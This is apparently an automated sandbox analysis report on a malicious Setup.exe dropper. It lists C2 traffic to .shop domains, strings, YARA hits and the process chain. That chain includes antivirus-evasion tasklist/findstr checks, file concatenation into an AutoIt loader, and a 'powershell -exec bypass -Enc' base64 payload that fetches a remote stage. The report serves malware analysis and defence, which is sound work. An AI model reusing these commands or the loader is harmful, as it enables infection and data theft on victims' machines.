Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KSHMGZNY7X7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5397Host: toqyxuy.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KU5XQ1LN50NAPMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1219Host: toqyxuy.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=B9DIYYMJDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1083Host: toqyxuy.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 115Host: toqyxuy.shop
Source: global traffic	HTTP traffic detected: GET /raw/erLX7UsT HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /int_clp_ldr_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipcatepiu0.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /raw/erLX7UsT HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /int_clp_ldr_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipcatepiu0.shop
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.360.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 360.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.baidu.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Host: klipcatepiu0.shopConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: jQTLvBhCSWe.jQTLvBhCSWe
Source: global traffic	DNS traffic detected: DNS query: toqyxuy.shop
Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: silversky.club
Source: global traffic	DNS traffic detected: DNS query: klipcatepiu0.shop
Source: global traffic	DNS traffic detected: DNS query: www.360.net
Source: global traffic	DNS traffic detected: DNS query: 360.net
Source: global traffic	DNS traffic detected: DNS query: www.baidu.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: toqyxuy.shop

Source: powershell.exe, 00000013.00000002.3520234737.000000000537B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://360.net
Source: Setup.exe	String found in binary or memory: http://ccsca2021.crl.certum.pl/ccsca2021.crl0s
Source: Setup.exe	String found in binary or memory: http://ccsca2021.ocsp-certum.com05
Source: Setup.exe	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: Setup.exe	String found in binary or memory: http://crl.certum.pl/ctnca2.crl0l
Source: Setup.exe	String found in binary or memory: http://crl.certum.pl/ctsca2021.crl0o
Source: Hart.0.dr, Attachment.com.1.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Hart.0.dr, Attachment.com.1.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Hart.0.dr, Attachment.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Hart.0.dr, Attachment.com.1.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: powershell.exe, 00000013.00000002.3535124573.00000000075A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000013.00000002.3520234737.0000000005398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://klipcatepiu0.shop
Source: Setup.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000010.00000002.3194182240.0000000006192000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3526813022.0000000006153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Hart.0.dr, Attachment.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Hart.0.dr, Attachment.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Hart.0.dr, Attachment.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: powershell.exe, 00000013.00000002.3520234737.000000000524D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: Setup.exe	String found in binary or memory: http://repository.certum.pl/ccsca2021.cer0
Source: Setup.exe	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: Setup.exe	String found in binary or memory: http://repository.certum.pl/ctnca2.cer09
Source: Setup.exe	String found in binary or memory: http://repository.certum.pl/ctsca2021.cer0A
Source: powershell.exe, 00000010.00000002.3191251661.0000000005286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000010.00000002.3191251661.0000000005131000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.00000000050F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000010.00000002.3191251661.0000000005286000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Hart.0.dr, Attachment.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Hart.0.dr, Attachment.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: Setup.exe	String found in binary or memory: http://subca.ocsp-certum.com01
Source: Setup.exe	String found in binary or memory: http://subca.ocsp-certum.com02
Source: Setup.exe	String found in binary or memory: http://subca.ocsp-certum.com05
Source: powershell.exe, 00000013.00000002.3520234737.000000000524D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Attachment.com, 0000000A.00000000.1699207708.0000000000619000.00000002.00000001.01000000.00000007.sdmp, Hart.0.dr, Attachment.com.1.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: powershell.exe, 00000013.00000002.3520234737.0000000005398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.baidu.com
Source: Setup.exe	String found in binary or memory: http://www.bitcomet.com
Source: Setup.exe	String found in binary or memory: http://www.certum.pl/CPS0
Source: powershell.exe, 00000013.00000002.3520234737.0000000005398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.wshifen.com
Source: powershell.exe, 00000013.00000002.3520234737.000000000536B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://360.net
Source: powershell.exe, 00000013.00000002.3520234737.000000000534F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.000000000536B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.0000000005367000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://360.net/
Source: powershell.exe, 00000010.00000002.3191251661.0000000005131000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.00000000050F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000013.00000002.3526813022.0000000006153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000013.00000002.3526813022.0000000006153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000013.00000002.3526813022.0000000006153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000013.00000002.3520234737.000000000524D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000013.00000002.3520234737.00000000059A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000013.00000002.3520234737.0000000005398000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipcatepiu0.shop
Source: powershell.exe, 00000013.00000002.3520234737.000000000524D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.00000000050F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://klipcatepiu0.shop/int_clp_sha.txt
Source: powershell.exe, 00000010.00000002.3194182240.0000000006192000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3526813022.0000000006153000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://top.baidu.com/board?platform=pc&sa=pcindex_entry
Source: powershell.exe, 00000013.00000002.3520234737.000000000524D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.00000000050F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.360.net
Source: powershell.exe, 00000013.00000002.3520234737.000000000524D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.360.net/
Source: Hart.0.dr, Attachment.com.1.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: powershell.exe, 00000013.00000002.3520234737.000000000524D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.0000000005384000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.00000000050F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com
Source: powershell.exe, 00000013.00000002.3520234737.0000000005384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.0000000005384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/s?wd=%E4%B8%AD%E5%9B%BD%E6%98%A5%E8%8A%82%E7%9A%84N%E7%A7%8D%E6%89%93%E5%BC%80
Source: powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.0000000005384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/s?wd=%E4%B8%AD%E5%9B%BD%E9%A6%99%E6%B8%AF8-7%E6%88%98%E8%83%9C%E6%97%A5%E6%9C%
Source: powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/s?wd=%E5%A4%9A%E5%9C%B0%E4%B8%AD%E5%B0%8F%E5%AD%A6%E6%A0%A1%E9%95%BF%E6%8E%A5%
Source: powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/s?wd=%E5%AE%9C%E5%AE%B6%E7%9A%84%E6%B2%99%E5%8F%91%E4%B8%8A%E5%B7%B2%E7%BB%8F%
Source: powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/s?wd=%E7%A7%A6%E5%B2%9A%E7%9A%84%E8%BA%AB%E6%9D%90%E5%A4%AA%E7%BB%9D%E4%BA%86&
Source: powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/s?wd=%E8%A6%81%E5%8A%A0%E5%BC%BA%E9%9D%9E%E7%89%A9%E8%B4%A8%E6%96%87%E5%8C%96%
Source: powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/s?wd=%E9%9F%A9%E5%9B%BD%E5%9B%BD%E4%BC%9A%E6%9C%AA%E9%80%9A%E8%BF%87%E5%B0%B9%
Source: powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.3520234737.0000000005384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/s?wd=34%E5%B2%81%E5%A5%B3%E5%AD%90%E5%81%A5%E8%BA%AB4%E5%B9%B4%E7%88%86%E6%94%
Source: powershell.exe, 00000013.00000002.3520234737.000000000535F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/s?wd=51%E5%B2%81%E4%BB%BB%E6%B3%89%E7%BD%95%E8%A7%81%E7%8E%B0%E8%BA%AB
Source: Setup.exe	String found in binary or memory: https://www.certum.pl/CPS0
Source: Attachment.com.1.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Hart.0.dr, Attachment.com.1.dr	String found in binary or memory: https://www.globalsign.com/repository/06

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443

Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.36.51:443 -> 192.168.2.4:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.4.235:443 -> 192.168.2.4:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.26.127:443 -> 192.168.2.4:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 180.163.242.102:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 180.163.242.102:443 -> 192.168.2.4:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.235.47.188:443 -> 192.168.2.4:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.26.127:443 -> 192.168.2.4:49979 version: TLS 1.2

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050F9

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044D1

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_7736.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7736, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 8132, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,

0_2_004038AF

Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\MotivationCenturies	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\AnContinent	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\OrderingSchedules	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\HelicopterElectoral	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\WorthyMonth	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\KarenEnvironmental	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\KdeFinance	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\BreakdownHighways	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040737E	0_2_0040737E
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00406EFE	0_2_00406EFE
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004079A2	0_2_004079A2
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_004049A8	0_2_004049A8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_0317B350	16_2_0317B350
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 16_2_0317B342	16_2_0317B342

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\189943\Attachment.com 865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4

Source: C:\Users\user\Desktop\Setup.exe

Code function: String function: 004062CF appears 57 times

Source: Setup.exe

Static PE information: invalid certificate

Source: Setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Process created: Commandline size = 9453
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Process created: Commandline size = 9453			Jump to behavior

Source: amsi32_7736.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7736, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 8132, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@28/28@9/5

Source: C:\Users\user\Desktop\Setup.exe

0_2_004044D1

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7716:120:WilError_03

Source: C:\Users\user\Desktop\Setup.exe

File created: C:\Users\user\AppData\Local\Temp\nsiA9D0.tmp

Jump to behavior

Source: Setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\Setup.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Setup.exe	ReversingLabs: Detection: 23%
Source: Setup.exe	Virustotal: Detection: 30%

Source: C:\Users\user\Desktop\Setup.exe

File read: C:\Users\user\Desktop\Setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Setup.exe "C:\Users\user\Desktop\Setup.exe"
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Nevertheless Nevertheless.cmd && Nevertheless.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 189943
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "ExpendituresReactionsRioWinterDialReducedPricingSoftware" Dennis
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Handbook + ..\Attorneys + ..\Celebration + ..\Advert + ..\Loop + ..\Objectives + ..\Added X
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\189943\Attachment.com Attachment.com X
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -f "C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Local\Temp\189943\Attachment.com	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -Enc JAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4AHgAeAB4ACAAPQAgAHsACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMACgAKACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AMwA2ADAALgBuAGUAdAAiACkALgBHAGUAdABSAGUAcwBwAG8AbgBzAGUAKAApAC4AQwBsAG8AcwBlACgAKQAKAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxAAoACgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoAQwByAGUAYQB0AGUAKAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGIAYQBpAGQAdQAuAGMAbwBtACIAKQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQAoACkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEACgAKACAAIAAgACAAJABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbABsAGwAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBrAGwAaQBwAGMAYQB0AGUAcA